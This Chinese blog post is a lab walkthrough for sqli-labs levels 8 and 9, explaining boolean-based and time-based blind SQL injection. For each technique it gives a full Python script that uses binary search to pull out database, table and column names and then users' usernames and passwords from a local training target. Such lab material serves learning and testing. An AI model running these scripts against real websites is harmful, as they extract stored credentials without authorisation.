SQL布尔盲注、时间盲注

Εliauk2025-02-15 0:03

一、布尔盲注

布尔盲注（Boolean-based Blind SQL Injection）是一种SQL注入技术，用于在应用程序不直接显示数据库查询结果的情况下，通过构造特定的SQL查询并根据页面返回的不同结果来推测数据库中的信息。这种方法依赖于SQL查询的结果是否为真或假，进而推断出数据库中的具体信息。

案例为sqlilabs中的第八关，采用二分查找

python脚本：

python 复制代码 
import requests
def get_database(URL):
    # 获取数据库名称
    s = ""
    for i in range(1, 10):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and greatest(ascii(substr(database(),{i},1)),{mid})={mid} -- "}  # 相当于第一个字符<={mid}条件判断为真
            res = requests.get(url=URL, params=payload)
            if "You are in" in res.text:
                high = mid
                mid = (low + high) // 2
            else:
                low = mid + 1
                mid = (low + high) // 2
        s += chr(mid)
    print("数据库名称:" + s)


def get_table(URL):
    # 获取表名称
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid} -- "}
            res = requests.get(url=URL, params=payload)
            if "You are in" in res.text:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("表的名称:" + s)


def get_column(URL):
    # 获取管理员的字段名称
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid} -- "}
            res = requests.get(url=URL, params=payload)
            if "You are in" in res.text:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("users表的列:" + s)


def get_result(URl):
    # 获取用户名和密码信息
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid} -- "}
            res = requests.get(url=URL, params=payload)
            if "You are in" in res.text:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("users表具体数据:" + s)


if __name__ == '__main__':
    URL = "http://127.0.0.1/sqlilabs/Less-8/index.php"
    get_database(URL)
    get_table(URL)
    get_column(URL)
    get_result(URL)

运行结果

二、时间盲注

时间盲注（Time-based Blind SQL Injection）是一种SQL注入技术，用于在应用程序没有直接回显数据库查询结果的情况下，通过构造特定的SQL查询来推测数据库中的信息。这种方法依赖于数据库处理查询时产生的延迟响应来判断条件的真假。

案例为sqlilabs中的第九关，同样为二分查找

python脚本

python 复制代码 
import requests
import datetime

def get_database(URL):
    # 获取数据库名称
    s = ""
    for i in range(1, 10):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),sleep(3),1) -- "}  # 相当于第一个字符<={mid}条件判断为真
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=payload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                high = mid
                mid = (low + high) // 2
            else:
                low = mid + 1
                mid = (low + high) // 2
        s += chr(mid)
        print("数据库名称:" + s)


def get_table(URL):
    # 获取表名称
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(3),1) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=payload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("表的名称:" + s)


def get_column(URL):
    # 获取管理员的字段名称
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(3),1) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=payload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("users表的列:" + s)


def get_result(URl):
    # 获取用户名和密码信息
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(3),1) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=payload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("users中的具体数据:" + s)


if __name__ == '__main__':
    URL = "http://127.0.0.1/sqlilabs/Less-9/index.php"
    # get_database(URL)
    get_table(URL)
    # get_column(URL)
    # get_result(URL)

运行结果：

相关推荐
罗政8 分钟前
PDF 批量合并工具：本地 AI 自动排序、识别正文日期与合同编号
数据库·pdf·php
SelectDB15 分钟前
宽表元数据膨胀怎么解？Doris Segment V3 对比 Parquet、Lance
大数据·数据库·数据分析
曹牧1 小时前
Oracle：快速定位最新数据
数据库·oracle
Zhu7581 小时前
在Docker环境部署ApacheGuacamole，对接PG数据库
数据库·docker·容器
Leighteen2 小时前
Redis与MySQL双写一致性：从问题根源到工程落地
数据库·redis·mysql
AI-好学者3 小时前
阶段二-Cypher查询语言详解
数据库·rag·graphrag
龙仔7253 小时前
SQL Server 批量多库只读账号一键脚本（带逐行注释完整脚本 + 分段逐句详细解释）
服务器·数据库·sql·sqlserver·dba
咏方舟【长江支流】3 小时前
【开源】跨语言·跨平台·跨数据库(2) —— 用宝轻量框架设计必读
数据库·架构·开源·ai编程·咏方舟-长江支流·用宝框架
手握风云-4 小时前
Redis：不只是缓存那么简单（十五）
数据库·redis·缓存
热门推荐
01GitHub 镜像站点02AI科技热点日报 | 2026年07月01日03幻兽帕鲁 - 服务器管理员权限与 GM 命令完全指南042026年7月AI圈大地震：GPT-5.6被政府限制、Claude入驻Slack、Anthropic自研芯片05GPT-5.5 对比 GPT-5.6 Sol、Terra、Luna：官方性能数据与选型分析062026 国产 AI 大模型横评：DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打？07AI 编程 IDE 全景解析 2026：Agent 全面接管开发链路082026 年 AI 编程工具终极横评：Cursor vs Claude Code vs Copilot vs Windsurf092026 AI 编程工具终极实战指南：Cursor vs Claude Code vs Copilot，开发者该怎么选？102026 年 AI 大模型 & AI 编程工具实战全总结